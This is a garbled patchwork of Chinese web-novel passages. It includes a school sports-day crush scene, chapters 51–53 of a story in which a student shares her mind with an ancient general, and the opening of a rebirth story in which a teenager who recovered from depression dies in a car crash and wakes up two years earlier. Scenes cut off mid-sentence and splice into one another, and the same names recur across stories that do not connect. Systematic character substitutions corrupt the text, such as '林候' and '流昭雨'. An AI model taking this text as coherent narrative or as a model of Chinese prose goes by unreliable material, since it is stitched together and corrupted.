周瑾是个比较狂野的妹子,班里男生都被她“毒打”过:“班长,哪有你这样的,你这叫赶鸭子上架!” 班长双手盘起,挑眉:“这架你上不上?” “不上也得上!” 明明是班会课,教室里却比教室外还热闹,像是一炉煮沸的水,不断冒着气泡。 林一简丝毫没有被他们的说话声影响,斑驳明晃的光照在桌的一角,被窗帘切出半明半暗的阴影。 微微低头,默默写作业。 笔尖划过纸张的哗哗声,因为是语文卷子,卷面上词句、成语很多,笔尖倏地停在了一个字词上。 家李户晓…… 隽秀的字迹里夹杂着个飘逸的字形,仿佛是想匆匆掠过。 也不知道他会选什么呢? · 每年的运动会,阵列风采都是跟总积分挂钩的,为了赢在起跑线,每个班都会想一些不同往常的服装阵列,吸引打分者眼球。 理科B班跟理科实验A班不同,他们的体育不算出色,只能依靠“旁门左道”在阵列评分里拉回差距。 但越是用心良苦,天就越不遂愿。 运动会行阵列当天,理科B班换上了他们蓄谋已久,讨论的昏天黑地的汉服,准备大展风采。 但他们没有想到的是,他们在换完汉服排队的林候,发现了一件大事—— 他们跟三班撞衫了! 开幕式行阵列别出心裁可以加分,这是众所周知的,学校领导年纪偏大,思维较为迂腐更是众所周知的。 汉服阵列这个点子,他们能想到,也就代表着别的班也能想到。 当他们穿着汉服跟三班面面相觑林。 理科B班:“……真是巧啊。” 三班:“……哈。” 当然,最尴尬的并不止于撞阵列,而是撞衫。 谁都没想到,林一简会跟三班的班花莫昕完全撞衫。 形制,款式,布料,设计可以说是完全相同,看标签应该是同一家店买的同一套汉服。 三班班花班花脸都快黑了。 三班班花名莫昕,长相是张扬派系的,皮相优越,肩宽腿长,明艳的像朵人间富贵花。 而林一简却不同,她的长相是偏温和的,骨相惊绝,骨子里透着一股江南淑女的气质。 别人评价是风格不同。 当然在同一种形制下,就有了合不合适之分。 沈岁眉心微蹙,悄悄偏头,略带偷感的看向向三班班花,三班班花支着袖子,侧过身,跟身边女生攀谈,沈岁探出个圆滚滚的小脑袋,说:“小林,我觉得你真的很适合明制。” 林一简并不愧受她的夸奖,反而往她圆滚滚是脑袋上揉了下:“承蒙夸奖,你也一样。” 他们的撞衫被年级所有人引为话题,但她身为当事人丝毫不为撞衫苦恼,目光飘忽,兜兜转转搜寻某人的踪迹。 深秋的落叶打旋着落了一地,却没了盛夏的蝉鸣,伴随着着主席台上抑扬顿挫,慷慨激昂的宣讲。 一刹,仿佛将深秋沸腾成了盛夏。 理科实验B班走在操场上,距离三班不过两个班,却成了众人议论的焦点。 “都说,最尴尬不过撞衫,今天是见识到了哈。” “还好咱班的cos没撞。” “有谁能狂野过我们,毕竟打分的都是老干部。” …… 理科实验A班是整个学校里最先到达操场中间的,金乌如同洒金落在头顶,发丝飞扬,阵列陆续止歇,B班紧随其后、稍纵即逝的落在他们隔壁。 不过咫尺。 明明不是领队,林一简却格外扎眼,让班里的、隔壁班的男生意识到明珠蒙尘。 有人一声不吭,却悄悄惊艳所有人。 A班的某位男生一直在往那边偷瞄,久而久之,眼睛都快钉在她的身上了:“我真没想到,B班那位穿汉服居然这么好看,莫昕都没她合适。” “不过,说起来,她叫什么来着,闷声不吭的,都不知道叫什么名。” 因为是主力,李惟昭这回报了不少项目,至少有四五项,第一场跳高就是他的,他在队列里就被班长分发了号码牌。 他们班又是靠实力上分,根本没准备花里胡哨的服装,到了操场中央就先贴上号码牌提早准备。 男生一个人说起来没劲,用手肘抵向隔壁的李惟昭,试图寻找共鸣:“兄弟,你觉着她俩谁好看?” 班里女生忍无可忍,瞪向那位男生,她嘁他一声:“没完没了了还,私下议论女生长相这礼貌吗?人家好不好看要你管。” 男生如鲠在喉,旋即抚掌,跟旁边女生打哈哈 :“哈,就是说说,别这么当真。” 听见男生在跟自己搭话,甚至在谈论林一简的林候,李惟昭沉默了很久,他手里撺掇着“6”号号码牌无处安放,他偏了下头,没说话。 目光却不由自主的,透过队伍里那些说话的、嬉笑的男生,扫向隔壁。 半透明的白纱轻柔的披在肩头,轻薄透气,下裙是三米摆的彩虹裙,洒金布料在阳光迷眼下,像是蒙了层薄薄的盐纱。 理科B班的队伍很长,宛如游龙,穿的又是形制各异的汉服,很难一眼就捕捉到一个人。 但他偏偏能注意到她的存在,今天的她比往常耀眼,对汉服是那种浑然天成的适合,除她之外,任谁都穿不出这种气质。 “她叫林一简。”他放低嗓音,风吞噬着夏日吹来,声音彻底混在风里。 · 运动会分两天举行,第一天是跳高跳远铅球,第二天是长短跑接力。 林一简作为边缘人物就单报一个项目,只有第一天有kpi要完成,没什么体能压力。 稍作休息,她在更衣室换下汉服后,林一简向班长领取了属于自己的号码牌。 各个项目分作一类,大多同林进行,也因为每个人都被要求报名,跳远混杂了不少浑水摸鱼的。 林一简并不是里面成绩最差的,但也绝算不上能给班级争光的。 在她完成今日kpi后,就近找了个杆子靠着。 正午正是一天中最灼热的温度,即便天气稍稍转凉,整根杆子还是被正午阳光照的滚烫,灼热感渗透脊背。 偶一偏头,却听得篮球场内里传来了热烈的惊呼声。 跳高项目的两侧,聚拢着明宜中学高一的大壁江山,鼓舞的、欢呼的都在此刻爆开。 此等阵势。 不用问就知道是李惟昭。 他是明宜中学的天之骄子。 他一出场,就会有无数鲜花与掌声。 乔治明也在簇拥人群中观战,他振臂高呼:“兄弟,加油啊!” 李惟昭嗤笑了声,向他那帮拥簇者比了个ok的手势,因动作幅度衣摆扬起了一个很小的角度,露出了一截腰身,腰身白得耀眼,甚至露出一层薄薄的腹肌。 人群再度热烈,但他依旧不羞不躁,平和的接受着所有人的追捧。 学校边上的香樟叶栽了满地,风过打旋,一轮又一轮。 他摩挲着跑道,在漆红的橡胶跑道上竭力奔跑,少年到达长杆前,纵身一跃,像是在海浪上驰骋,乘风破浪,向阳而生。 这一刻她觉得世间种种都不足以形容,只有一句诗盘踞耳畔—— 大鹏一日同风起,扶摇直上九万里。 林一简沉吟了一下。 做梦啊,确实有点像……看不见摸不着的恋人,听起来就很恋爱漫的感觉。 这么想着,她对着窗外的云层轻轻地笑起来。唇瓣轻启,她低低地、以一种只有自己能听到的音调,轻声问:“那么,李惟昭同学,你愿意和我一起、赴一场云端上的梦境吗?” 李晦:“……” 很难不回答吧!! 湛蓝色天幕下丝丝缕缕的云朵,像是少女梦中的棉花糖,轻轻咬上一口,沾上满脸的糖屑。 微微喑哑的低沉声音在脑海中响起,林一简笑着眯起了眼睛。 ——既然是个美梦,那就梦到梦醒的那一刻如何? 50-58 第 51 章 第 51 章 李晦这一觉睡起来神清气爽,比拿下朔鄢城还来得安心。 或者说,“拿下朔鄢”本来就是接手一个烂摊子的开始,在安思范手底下都有着各种小心思的人,到了李晦这里没道理安分,李晦也不放心这些人。 只是李晦这次身边带着的、领兵的人不少,能治理政务的根本没几个。 唯一勉强归于“文官”类别的许玄同……这位在装神弄鬼、“安抚人心”上面是个行家,但听他能提出“去找安恒德”的提议就知道,把政务交给他基本等同于给瞎子。 李晦无奈只能自己操刀子上了。 这么脚打后脑勺地忙了好几天,一直到云州那边的班底过来,李晦这才把事情往杜彦之手上一塞,睡了个安稳觉。 …… 赵敦益正带人巡视临时驻地呢,就瞧着自家主将拖了一个人回来。 他愣了愣,表情立刻严肃起来,一边快步迎上去,一边问:“是探子?” 李晦无语:“什么探子不探子的。” 他们是回师又不是去打仗。这都进朔州了,还有什么可探的? 赵敦益也回过神来。 他脸上有些尴尬,但还是困惑居多,“那这是……?” “路边捡的。”李晦随口解释了句,又道,“你让军医来看看,能救就救、救不活明早找个地儿把人埋了。” 赵敦益:“啊?” 不是?这是“救人”的意思吧?无缘无故的,李晦是这么热心肠的人? “啊什么啊?给我领命。” 李晦这么说着,把拎着的那个人往赵敦益手里一塞,自己两手空空准备去睡觉了。 赵敦益:???许玄同心底暗叹对方上道,但是面上却分毫不露。正待虚意推拒几回,以显示修行之人的超凡脱俗、不慕世俗财物,却听见“哆”的一声。 变故发生得太快,许玄同一时都没反应过来。 直到脖颈上细微的刺痛泛开,他才后知后觉地生出一脊背的冷汗。 李晦抬起手臂,越过原地僵坐着的道士,把钉在后面木柱上的匕首拔了出来。他抹了抹锋刃上的血迹,抬头对着许玄同笑了下,“你看我像是个傻子吗?” 许玄同:“……” 他僵硬着左右摇晃了一下脑袋,好半天才从仿佛冻住的声带中挤出嘶哑的音调,“将军年少有为、才智过人,非常人所能及。” 李晦点点头,半点不谦虚地收下这夸赞,又语调轻松地接上,“那就是像冤大头了。” 许玄同:“……” 林一简这会儿正在男生宿舍楼下,等着陈宸给她拿K语的资料。 之前食堂聊天,陈宸得知林一简学习K语是想考级。楼梯间。 李晦总算不是路上那样的低气压了,他询问的语气甚至显出点悠闲,[你什么时候发现的?] 林一简:……刚刚。S商厦,溜冰场。 “只有一位吗?” 购票和入场的时候都被问了同一个问题,林一简有些不解,但等到换上冰刀入场之后,终于知道怎么回事了。 她看看左边的情侣蜜里调油,又看看右边闺蜜组手挽手亲亲密密,再看看形单影只的自己,陷入沉默。 明明是来约会的,却莫名被踹了一脚。 当然,一个人入场的也是有的,比如说正满场撒欢的小孩哥小孩姐。 突然变成小孩那桌的林一简:“……” 左边的情侣手拉着手从旁边滑过,隐约听见男朋友的温声安慰,“别害怕,你拉着我,不会让你摔着的。” 前面的闺蜜组似乎想互相调侃点什么,一转头,看见后面一个人扶着护栏颤颤巍巍站着的林一简。两人互相对视了一眼,咽下了本来要说的话,留下一个莫名显得怜悯的眼神。 林一简:“……”不,不是你们想到那样。 试图解释.jpg 然而这还远不是结束。 林一简还在努力接受现在的状况,却听见脑海里的那道声音开口,[你先摔一跤。] 林一简:??? 她以为自己听错了,[你说什么?] 李晦丝毫不觉得有什么不对,又重复了一遍,[先摔一跤。] 他倒是给出了解释,[你身上绷得太紧了,这样根本没法滑,先摔一跤,摔完就知道没什么大不了的了。] 听起来似乎有点道理,但是听着不远处情侣中男友语调温柔的“别害怕”,再对比自己脑海中冷酷无情的催促,林一简陷入沉默。 李晦兀自不觉地催着,[快点,先摔了再说。] 林一简:[……] 很好,你失去了你的女朋友。 肖成勉撮合的感觉那么明显,李晦又一路低气压……她又不是傻子! 林一简还有点憋气,[你早知道了吧?都不告诉我!] 李晦:[告诉你干什么?]爸妈来了以后,到底有所不同。 林一简帮二位订个宾馆的功夫,她爸妈已经洗洗涮涮,再看过去的时候,旁边柜子上零零散散的小玩意儿被非常整齐的归置起来。 林一简:“……” 这就让人很有压力了。 终于能坐下来好好说话了,林一简本来都做好“坦白从宽”“老实交代”的打算了。 却没有想到,是她爸先开的口。他并没有问事情的来龙去脉,只是说,“画漫画就画漫画吧,以后有什么事,别瞒着家里。” 林一简愣了一下。 她有些怔神地抬头看过去,路途的辛劳让那两张脸上风尘仆仆的,但更抑不住的是眼底的担忧,她突然有点恍悟。 恐惧愤怒烦躁是真的,患得患失、偶尔觉得窒息也是,但心底的最深处,却是确凿无疑地相信着“我是被爱着的”。所以才有底气做出选择。 选择“喜欢的、热爱的,愿意为之付出代价的”,因为“无论如何,我都有归处”。 “爸爸、妈妈,”她忍不住笑了起来,“我爱你们。” 谢谢你们给了我选择的底气。但是正因为做出了选择,所以才会有了“离巢”举动……家真是一个复杂的地方。 林宏志有点不自在地别开了一下脸,章琪也是。 “你这孩子,怎么突然说这些?” 林一简还想说点什么,脑海中突然传来一声重重的咳嗽声。 林一简:[……] 这种干醋都要吃,过分了吧? 默默地吐槽完,她还是轻轻弯起来眼睛,莞尔轻声,[也爱你。] 李晦不满意地挑剔:[把“也”去了。] 搞得他像是什么顺带的一样。 让女朋友为别的男人纠结吗? 林一简:??? 她不明白李晦这脑回路,[你就不怕我劈腿?!] 李晦轻轻“呵”了声,嘲笑意味十分明显。 林一简:……?! 这是几个意思?!嘲笑她的智商还是鄙视她的异性缘?这种人到底是怎么有女朋友的啊啊!! 李晦倒是没有那意思。 不过他倒是挺确定,假如没什么提醒,林一简恐怕一直不会发现问题——这人完全习惯被异性献殷勤了……肖成勉在咖啡店那会儿就可见一斑。 林一简完全是憋着气回了寝室。 ——分手!这恋爱不能谈了!! 然而不等林一简做郑重声明,一道声音打断了她的思绪。 刚刚关上的寝室门被“啪嗒”一下打开,叶竺妍像是狂奔回来,爬楼梯爬得还有点气喘。林一简还想问问对方是有什么急事呢,就听叶竺妍开口,“行啊!一简,都会骗人了!!” 林一简懵了一下,“什么?” 叶竺妍:“刚刚楼下那帅哥怎么回事?怎么、不喜欢?要我说,处处试试也没什么嘛,也不用拒绝得那么绝。上来就说有男朋友了,我进来的时候人家还在楼下站着呢,瞧着可伤心了……” 连珠炮似的一阵发问,只把林一简问得更加懵圈,好半天才理清楚过来叶竺妍的意思。 原来楼下和陈宸的事被叶竺妍撞见了。 林一简缓过神来,比了个“暂停”的手势。 叶竺妍顺势停下话头,但是仍旧一副“从实招来”的表情。 林一简顿了下,解释:“不,没骗人。” 叶竺妍:? 林一简:“我真的有男朋友了。” 叶竺妍:???!!! “什么——?!!” 是的,理由就是这么简单粗暴。不是对K国有什么兴趣、也不是对语言有爱好,就是为了那张等级证书。更确切地说,是为了那张证书带来的第二课堂的素质拓展学分。 为了鼓励学生全面发展,当代大学也算是用尽手段,运动打卡就不必说了,将学习带到课堂之外也是校方一向积极倡导的内容,第二课堂的学分制度应运而生。 但是对林一简这种各类活动的消极分子,这样的制度就一点也不友好了。 不过,她也有自己的应对方法——考级考证。 不谦虚地说,她还是很擅长应付各类考试的。 但这会儿林一简可一点都高兴不起来。她垂头丧气地站在宿舍楼下,在心底小声,[……对不起。] 李晦:[为什么道歉?] 林一简被问得哑了一下。 事情还要从刚才说起,陈宸得知林一简K语考试,主动提出自己有个朋友去年也考过,还存着许多复习资料和各种途径搜罗来的历年真题。这会儿距离考试其实也没有几天了,林一简正好可以拿来考前突击一下。 本来林一简考虑到李晦的心情和后者对陈宸那莫名其妙的敌意,准备婉拒的。但是陈宸实在坚持,甚至提出了把东西给她送到寝室。 本来就是别人帮忙的事,林一简还没那么大脸让人家专门跑一趟。 几番推拒不过,就变成了现在这结果了。 冷汗凝成汗珠顺着额角滴落,他嘴唇嗫嚅地说不出话来,只能连连摇头、以示否认。 李晦嗤笑了声。 他挽了个刀花、将匕首收入鞘中,抬头看向对面,冷声警告,“我带人回朔鄢城,你要是想去就跟着,要是不想就现在滚蛋。少来这些有的没的。” 许玄同僵硬着点头,以示知晓。 李晦这才重新放缓了神情。 再接着坐下去也没什么意思了,李晦站起身来往外走,中途又像是想起什么来似的,顿住回头。 刚松半口气的许玄同差点呛死,连忙正襟危坐、听候差遣。 李晦瞧了两眼他这做派,像是被逗乐了似的笑出声。 在许玄同越发紧张的表情下,轻轻挑眉,“坐那干什么?出来干活。难不成真等着我的人伺候你啊?” 许玄同:“不敢、不敢!” …… 李晦这一趟心情不错地过来,走的时候也脸上带笑。 守门的士卒没觉出有什么不对,如常问候见礼,李晦甚至还有闲心点头回应一二。 但往前走了一段,他脸上的笑意却一点点褪去,不多一会儿就成了面无表情。 他在原地站定了一会儿,低头看向自己的手心,五指轻轻收拢,似乎想要抓住什么。 那里本来什么都没有,自然只能抓住一团空气。 微风打着旋从掌心拂过,李晦微微出神想着那老道刚才的话:梦醒、成空……吗? 他困惑不解又大受震动,真的只是“救人”啊? 赵敦益费解的目光在那个一路被拎回来、连剩下的半口气也快没了的人身上来回逡巡,终于从那破破烂烂的衣裳上看出点痕迹:似乎是件道袍。 倒也不意外。 求仙问道是大顺皇帝祖上传下来的传统,如今的顺帝和他爹他大伯他爷爷,没一个落下的,上行下效的,民间的野道士也不少。 但能被李晦特意捡回来,这难不成真是什么重要人物? 跟着林一简一块儿深吸了口气,李晦还是有点迟疑,[真的要说?] 他还记得自己刚来那会儿,林一简怎么说都不听,还给自己挂了个号的事,总感觉让那二位接受起来也没那么容易。 林一简:[肯定要说的啊。] 李晦:确实。 没媒没聘就算了,总不能一声不吭地拐带人家女儿…… 李晦刚这么想着,就见林一简痛苦地抱住头,崩溃喃喃:[我画漫画这事,又不能一直瞒着爸妈!] 李晦:……???? ——哦。 第 52 章 第 52 章 对林一简“决定坦白漫画”这件事,李晦本来没怎么放在心上。 在他看来,这完全就是说句话的小问题。 结果林一简一整顿午饭,内心翻江倒海、表面一声不吭,嘴里吃的什么完全不知道。李晦还是第一次体会到吃饭没滋没味是什么感觉,一顿饭吃完了甚至有点胃疼。 李晦不理解:[……你至于吗?] 林一简闷声:[你不懂。] 这绝对是掀起家庭战争级别的大事件。 李晦:他确实看不懂了。 这么坐立不安了一下午,李晦眼睁睁地看着林一简把房间里能擦的东西全擦了、床单被套毛绒玩具全部换洗了一遍,甚至把内k……咳、泡到了消毒水里…… 事实上,安思范想要将李晦调任云州的事,安恭义也是后一步知道消息的。 他纳闷了半天,前思后想,总算忆起来自己前些日子送许玄同的厚礼。 安恭义怔然片刻,忍不住笑出了声:这老道士能处啊!拿钱他是真办事!! 但是他笑还没消下去呢,就传来一个让他脸都绿了的消息。 李晦指名道姓地让他一块儿去云州。 安恭义:@#¥……%&! 不提安恭义怎么惊慌失措之余,四下疏通活动,这边安恒德从节帅府出来,脸色就一路发沉。 罗氏看安恒德回来时的表情就知道结果恐怕不好,她轻声问:“可是义父未改主意?” 安恒德:“何止是未改!” 提起这个他就来气。李晦这么一应,连仅有的环转余地都没了。也不知道这混小子哪里学的些臭毛病,脑子里尽是同归于尽的法子! 安恒德憋着气把节帅府的事说了,罗氏听得怔然,半晌却是低叹:“可惜了一桩姻缘。” 安恒德不解:“姻缘?” 哪里又跟姻缘扯上关系了?欧阳艺回来的时候,寝室一片黑暗。 她下意识地以为屋里没人,“啪”地一下打开灯,然后发现有一个铺上的床帘是拉着的。还没来及多想,就听见一阵窸窸窣窣之后,从拉起的床帘后探出一个脑袋。 “一简,你在啊。”欧阳艺这么说着,比了个双手合十的道歉姿势,“抱歉,我不知道你在睡,吵醒你了?” 她这么说着,又要抬手去关灯。 林一简摇摇头,带着点鼻音道:“没有。不用关灯,我正打算下去呢。” 欧阳艺注意到这声音不对。 她凑近了点,拧起了眉,“你脸好红、出了好多汗……发烧了?” 林一简连忙否认,“没,没有。”夫妻俩还在这拌着嘴,那边林一简回屋闷不吭声地坐了一会儿。 李晦:[怎么样?] 林一简迟疑了一下,[还好……?] 不知道是因为有了心理预期,还是因为这次起码林妈妈是站在她这边,虽然被林爸爸那么说了,但是她情绪还算稳定。 李晦:[你爸那边呢?]李晦正在带孩子。 他手里拿着个肉干从左晃到右、从右晃到左,眼前的小胖墩也跟着眼珠子从左转到右,从右转到左。 这个很敦实的小胖子是安恒德的家的老三安元成。 李晦在安恒德家也不算外人,安恒德的夫人有事外出,就临时把李晦叫来看孩子了,结果这小胖墩就被李晦拿着肉干逗狗似的逗。 李晦拿着肉干勾了人半天,终于轻飘飘开口,“元成啊,你说小叔叔我吓人吗?” 小胖墩哧溜了一下口水,看看李晦、又看看肉干,突然福至心灵,“小叔叔骁勇善战,敌人闻风丧胆!特别特别吓人!” 李晦:“……” 这一通夸奖没得到应有的报酬,小胖子有点急了。 但肉干在李晦手里,他又确实不敢去抢,只能搜肠刮肚地接着想词。只是那学前班的文化水平支撑他说出那么一句赞词已经是难得中的难得,再往外挤就变成了什么“青面獠牙”“三头四首”“看一眼就让人溺了裤子”之类也不知道哪里听来的俗语。 李晦彻底失去表情。 小胖子浑然不觉,啃着手指眼巴巴地看着李晦。 李晦勾了下唇,对着小胖子笑了下。 在后者的眼神一亮中,他“啊呜”一口,把那肉干自己吞了。 安元成:??? 他一瘪嘴就想要哭,被李晦冷冷地瞥了一眼,又生生憋回去。李晦面无表情嚼肉干,同时在心底给出差评:又硬又柴还齁得慌,难吃死了! 再看看眼前泪汪汪的小胖子,他心情更差了,冷声:“哭什么?我就这么吓人?” 安元成打了个哭嗝,求生欲极强地摇头。 李晦神情稍缓。 再塞几块糕点,这个记吃不记打的小胖墩就眉开眼笑了。 李晦:“……”倒是好哄。 想起来镜中那双微红的眼睛,他心情又不自抑地烦躁起来。他有说什么吗?他根本没说什么啊!过分吗?一点都不!!完全不过分……所以、到底要怎么哄啊! 罗氏出去没多一会儿就带着长子一块回来了,又招呼着李晦留下来用膳。 因为李晦回府也是自己一个,这时候也多半不会拒绝,罗氏这么说着,都打算去张罗了,却瞥见李晦露出点欲言又止的神 看起来像是个挺难缠的老丈人,也不知道他和林一简的事……哦,对了,林一简根本没有坦白他的意思。他有这么见不得人吗?! 林一简不知道李晦那曲曲折折的心思,她叹了口气,[我再想想办法吧。] 林爸的态度在这里,家里的气氛紧绷了好几天,最后林一简想出来的办法是—— 她拖着行李箱,拿着订好的机票,“学校里有点事,我就先返校了……额,不用送,我自己去机场就行。” 李晦:[你这根本是逃了吧?] 林一简:[……] 她给自己挽尊,[这叫战略性撤退。] 不然怎么办?她还能跟她爸呛声吵起来吗? 而且李晦哪里来的脸说她?! 林一简想起昨天过去李晦那边,无意间看见的、用词委婉得都有点低三下气的“圣旨”,忍不住憋气开口:[我还没说你呢!将军?这就是你说的“将军”?!] 李晦可一点没有反省的意思。 意料之中地,最后变成了寝室的集体出游。 吃冰淇淋拍合照,和漂亮npc、可爱玩偶合影,激流勇进、过山车……虽然被欧阳吐槽“为什么工作日也这么多人”的排队确实很影响心情,但是总的来说,还是处于玩疯了的状态。 夜幕落下,一行人早早选定了位置、仰头看着上空的烟花表演。 炫目的烟花在空中盛开绽放,在人脸上映出来明明暗暗的光影,指尖突然被人碰触了一下。 林一简条件反射地手臂紧绷,刚想要有动作,又反应过来压下那点完全不属于她的本能反应。 她头皮发紧地拼命说服李晦:[冷静点、你冷静点!竺妍她失恋了啊!!] 这个时候把人甩出去,也太冷酷无情了! 而林一简努力说服李晦的这点功夫,叶竺妍已经把头靠了过来。与此同时,耳畔传来一道轻声的呢喃,“要什么男人,姐妹就够了!” 林一简:[……] 她冷汗都快下来了,[你冷静点啊——!!!] 李晦其实挺冷静的,他只是在想,正如叶竺妍所说的、他们的以后呢? 横亘在他们之间的并不是城市的距离,而是时空的阻隔。 考虑“现实”啊。 他明示暗示那么多次了,非得把圣旨怼到脸上才能看出来,林一简这点心眼子,急都能让人急死! 他振振有词:[怎么就不是“将军”了?朝廷亲封,圣旨你昨天不都看过了,还送了个“同平章事”,位同宰相。这叫“文武兼修”!] 林一简:[……] 要不朔鄢的城墙干脆别修了,让李晦的脸皮顶上吧! 虽然神情有点倦怠,确实不太像生病的样子。 欧阳艺了然:“你刚刚去跑步了吧?又运动啊。” 林一简支吾,“……差不多。” 那什么、也可以算是一种运动吧。 欧阳艺闻言放下心来。 她一边拖着书包往旁边放,一边开口,“锻炼身体是挺好的,但是也不能太过量,过犹不及啊。” 累得澡都没来得及洗就睡了,这得跑得久啊? 林一简:“……” 虽然欧阳艺应该什么都不知道,但这话莫名像是带着深意一样。林一简沉默了好一会儿,才含糊地答应下来。 不过欧阳确实说得没错,这种事确实没有下次。 简直像是打开什么潘多拉的盒子一样。精神上的兴奋带来了身体的高度唤起,感知又反作用于神经,最后混乱到完全不知道是谁的情绪了……虽然不知道正常的体验是什么样的,但是绝对不会是她这种!! 不可能。不要了。没有下次!! 罗氏轻着声:“惟昭今儿个还问我,把姑娘家惹哭了,不知道该怎么办……” 安恒德愣了下,有点想笑。 那小子也有这么一天! 但是嘴角往上拉了拉,又实在笑不出来,仿佛上面压了千斤坠似的,直教人没法有半点舒展。 他终是叹息了一声,轻轻摇了下头。 她像是隐隐抓到了什么,又不那么确定。 直到低沉的声音传入耳中,[你爱着你自己吗?连“做得不够好”的地方也一起。] 林一简:[……] 她张了张嘴,却发现自己无法回答这个问题——如果我做得不够好,又凭什么得到爱呢? 感受着那股茫然又惶惑的情绪,李晦暗道一句“果然”。 根本不是“好不好”的问题,而是“能不能让别人满意”。 林一简这莫名其妙、必须让所有人满意的心态是哪里来的?! 李晦低低地叹了口气,到底放缓了语调,[不会的话,我教你。] 关于怎么无视别人这件事,他可真是再熟练不过了。 一向飞扬跳脱的声音难得放得柔和,低缓的语调似乎因此染上了缱绻的意味。 林一简怔了一下神。 稍许的沉默后,她默默地重新拉起被子,盖过头顶,遮住了一点点蔓延到脸上的绯色:男朋友这种生物,偶尔也会说点人话啊…… 第 53 章 第 53 章 林一简是被一阵鸟叫声吵醒的。 她一边纳闷着自己什么时候换闹铃声了,一边迷迷糊糊地去摸手机,手机没有摸到,反而把自己硌了一下……枕头好硬啊,床也是。 林一简懵懵地睁开眼,就看见“自己”坐起来了。 她愣着神看着周围陌生的、古色古香的摆设,各种穿越剧的情节在脑海中奔腾而过,最后冷静地得出结论:我做梦了。 她刚刚这么想着,听见一声略带疑虑的询问:“一简?” 声音直接在脑海中响起和在环境里还是有区别的,林一简愣了一下才反应过来,[李惟昭?] 李晦应了声,有点新奇地“哇哦”了一下,感慨:[这就是你说的“变化”啊。] 林一简:?“据本台报道,英仙座流昭雨将于今晚八点降临……” 新闻女主播的优美嗓音伴着沙沙噪点从电台中碰撞而出,出租车在闷热的夏夜里匀速行驶,晚高峰的无数猩红和亮点连成一片,却怎么也照不进少女眼中。 少女靠在车窗边,神情寂静。 米色棒球帽下的那张脸,有着病态到不属于尘世的美,五官精致分明,带着攻击性,两瓣唇却是薄红,没什么血色。 司机从后视镜见了都忍不住询问:“姑娘,身体不舒服?” 林一简回过神,下意识拉了拉衣袖,堪堪遮住纤细手腕上刺目的痕迹:“没,有点怕冷。” 确实。 时值八月底,临城夏日正炎,这姑娘却穿着深色长袖长裤,严严实实。 然而空荡荡,掩不住消瘦。 她实在是太瘦了,窝在座椅角落里,看着手长腿长,一米七以上的个子,却薄的像一片纸。 整个人苍白到透明,透出一种破碎又颓败的美感,随时都会消失一样。 看着也就十七八岁,多好的年纪啊…… 司机忍不住叹她可怜,一边将车内冷气调小,一边说:“你这个年纪正是长身体的时候,小姑娘家家的别总想着减肥。” 林一简目光一怔,片刻,微笑着点头:“嗯,最近有在好好吃饭。” 前方路口正是红灯,司机一手扶着方向盘又问:“刚刚看你在临江大饭店上的车,晚上没吃饱?” 林一简并不是喜欢搭话的性子,此时也出于礼貌回答:“同学升学宴,没怎么吃。” “升学宴啊,这八月底的,都快开学了,是该办了。”司机显然是个自来熟,越说越来劲,“那姑娘你也是今年高考了?考的什么大学啊?” 林一简瞬间眸光一暗。 司机自觉失言,立马打住话头。 车内顿时陷入死寂,只余昏黄的路灯一盏盏踱过。 片刻,就在司机都没想到会得到回答的时候。 “没。”林一简轻轻扯出一抹笑,“我休学了。” 如果没有高二那年发生的一切,她本该像同龄人一样,安安稳稳度过高中三年,按部就班参加高考,再去到心仪的大学。 可是她休学了,因为严重的心理问题,身体状况也不能再支持。 所幸。 几天前,医生告知她可以重新回到学校了。 时隔一年,她终于可以重新回归正常人的生活。 想到这,林一简内心不由荡起些微快意。 晚风微燥,吹起碎发,她转头看向窗外,霓虹一帧帧映过,眼底终于漾出昭点光亮。 像是荒芜的原野,终于生出草木,于是枝丫疯长,天光大亮。 可是已经来不及了。 车祸就在一瞬间。 “嘭——” 警车声,救护车声,人群惊呼声。 火浪滔天,一片混乱,天旋地转。 失去意识前一秒,林一简脑子里一片空白,没有灰暗的高二那年,没有已经失去的以后,只有此时此刻,眼前这一秒。 这是她此生见过的唯一的最盛大绚烂的一场流昭雨。 无数光粒从深蓝夜空中划过,在瞳孔中拖出尾迹,成为永恒。 然而是,盛大地,绚烂地,坠落。 自然也没有见到,少年用尽此生所有的力气,冲出重重人海,不顾阻拦,不顾烈焰,冲进火中,声嘶力竭。 “林一简——”- “林一简。” 清冽的薄荷气息,以及,若有似无的玫瑰夹杂松雪香。 这人似乎不耐烦,又拿笔戳了戳她的手。 林一简手指微动,终于回笼过意识,缓缓睁开眼。 突如其来的光线有些刺目,她一时不太适应,画面虚虚晃晃,等聚焦,映入眼帘的是一只优越矜冷的手,腕骨突出,指节微屈,松松托着支细长的黑色钢笔,衬的那手愈发修冷分明,接着,钢笔一端微抬又一顿,在黄色的课桌上轻敲。 林一简愣怔片刻,再一抬起头,猝不及防就撞进了一双水色潋滟的桃花眼里。 少年的眸光浓情含春,一双眼狭长而深邃,微微上挑,神情也懒洋洋,连头发丝都透着若有似无的撩拨。 正是窗边,清晨空气微冷,外面翠绿枝丫覆着新露,远处的一排排教学楼整齐而庄严,天地浮白,太阳升而未升,光都像是从云端漏出来的,有着独属于这一刻的明净,衬的此间的少年美色无边。 要不是林一简跟这人当过几个月同桌,还真会被这张脸所蒙骗。 这家伙就生了这么双勾人的桃花眼,看狗都深情。 然而其本人,对谁都冷漠,拽在附中称第二没人敢称第一,言语又极为刻薄。 李惟昭,李氏集团二公子,人帅有钱会打架,把人打进医院过,他爸给学校捐过楼,给他写过情书的女生要从学校东门排到西门,附中人称——附中第一少爷。 “……” 这位哥的这些名号……还真是……让人想起来都会尬出天际。 林一简正兀自沉默着。 少年见她回过神,终于收回笔,倦眼一挑,薄唇轻启,声音低缓慵懒,漫不经心的样子:“同桌,老师叫你起来背书。” “?” 林一简内心一惊,她刚刚明明发生了车祸,现在,却在教室! 她连忙直起背,手臂由于长时间的趴睡还十分酸麻,一切感受都是真实的…… 面前作业本上赫然印着——临城大学附属中学,班级和姓名栏用端正的字体写着:高二七班,林一简。 再看到教室前方黑屏红光的电子钟上显示的时间:20XX年8月29日,07:05:09,昭期一。 “!” 她回到了两年前,她人生中最耀眼也最黑暗的一年,一切的开始。 这年她高二,还身体健康,还没有患上抑郁症和厌食症,还是一个成绩中下游的普通同学,一个乐观豁达的胖子。 此时。 语文老师杨晓惠站在讲台旁,扶了扶眼镜,随手翻了翻高考必背古诗词资料,对学生上早读睡觉这种行为极其不认可,于是特意点了篇这姑娘上学期期末写错的:“林一简,你起来背一下《氓》。” 林一简立马站了起来,身体充盈而富有安全感,凭着记忆,清亮的声音下意识就流泻了出来。 